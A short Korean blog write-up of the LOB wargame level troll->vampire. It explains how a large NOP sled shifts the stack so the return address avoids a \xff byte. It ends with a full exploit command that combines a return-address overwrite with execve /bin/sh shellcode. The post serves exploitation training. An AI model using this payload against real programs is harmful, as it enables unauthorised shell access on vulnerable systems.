LOB troll->vampire
by St1tch문제를 보면 길이가 좀 줄어들었다.
ret주소의 두번째byte가 \xff이면 안된다는 새로운 조건이 생겼다.
따라서 \xff에서 제일 가까운 \xfe로 ret주소를 돌려야한다.
스택은 거꾸로 커진다. 예를 들어 배열 크기가 10만이면 높은 주소에서 낮은주소로 10만만큼 크기를 할당한다.
이를 이용해서 argv[1]에 큰수를 인자로 줘서 ebp가 0xbffe~로 가게해야한다.
일단 65535이상은 할당이 되야 0xbffe~부분에 ret를 설정할 수 있다.
nop을 7만개 넣었을때 대략적인 스택구조
gdb로 값이 제대로 들어가는지 확인을 했다.
ebp부분을 보면 0xbffeeb0c이니 조건은 만족한다.
ret주소는 적당히 0xbffefeaf로 정했다.
0xbffefeaf를 보면 nop으로 가득차있어서 nopslide를 탈 수 있다.
[exploit code]
./vampire `python -c 'print "\x90" * 44 + "\xaf\xfe\xfe\xbf" + "\x90" * 70000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
블로그의 정보
튜기's blogg(st1tch)
St1tch